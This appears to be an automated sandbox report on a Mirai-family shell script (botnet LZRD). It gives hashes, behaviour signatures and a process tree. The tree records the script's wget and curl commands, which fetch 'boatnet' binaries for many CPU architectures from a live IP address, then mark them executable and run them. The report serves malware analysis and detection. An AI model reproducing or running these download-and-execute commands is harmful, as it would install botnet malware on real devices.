Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17-01-2025 06:15

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    95a4c9ceeaff1ba0b6b54a2ca6657d9b

  • SHA1

    3d204079c491b73eb2e8000ad770bfb538f3bb79

  • SHA256

    21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6

  • SHA512

    227a981ea250c3f5f7db4eca15456302c014893198d403001ee38f321ed7893c48d6ff50768fceefbdb6cb9592dd4192b31ed22baf4c96652fb527c1c1700f6b

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Unexpected DNS network traffic destination 15 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1492
    • /usr/bin/wget
      wget http://107.172.51.228/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1493
    • /usr/bin/curl
      curl -O http://107.172.51.228/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1505
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1506
      • /bin/chmod
        chmod +x boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1507
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1508
      • /usr/bin/wget
        wget http://107.172.51.228/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1512
      • /usr/bin/curl
        curl -O http://107.172.51.228/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1513
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1515
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1516
      • /usr/bin/wget
        wget http://107.172.51.228/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1520
      • /usr/bin/curl
        curl -O http://107.172.51.228/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1521
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1523
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1524
      • /usr/bin/wget
        wget http://107.172.51.228/hiddenbin/boatnet.i468
        2⤵
          PID:1528
        • /usr/bin/curl
          curl -O http://107.172.51.228/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1529
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1531
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1532
        • /usr/bin/wget
          wget http://107.172.51.228/hiddenbin/boatnet.i686
          2⤵
            PID:1536
          • /usr/bin/curl
            curl -O http://107.172.51.228/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1537
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1539
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1540
          • /usr/bin/wget
            wget http://107.172.51.228/hiddenbin/boatnet.x86_64
            2⤵
              PID:1544
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1545
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1547
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1548
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1552
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1553
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1555
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1556
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1560
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1563
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-ueDaTz systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1569
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1570
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1574
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1577
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-EY1lnD systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1583
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1584
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1588
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1589
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1593
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1594
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1598
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1605
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-SVLaFa systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1611
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1614
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1618
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1623
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1627
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1628
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1632
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1633
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1635
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1636
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1640
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1641
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1643
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1644
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1648
            • /usr/bin/curl
              curl -O http://107.172.51.228/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1649
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1651
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1652

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            313c4b235e0e62ca38eb04bfa7677e44

            SHA1

            c31d5d0c0fa4bfa4ea2837cede424504c68ccfd3

            SHA256

            dfd6f81327b03f5336895c6bed7bfff178a054eafef5637ccb74e7a0ac4ef4c4

            SHA512

            0bf52b087e48b6daac55f735ae5b5af7626322db3200e72c61755d6b80234c503a02f3e35b340b70d1731fdec2054f530251504dec55497ca5877f9233ff54ad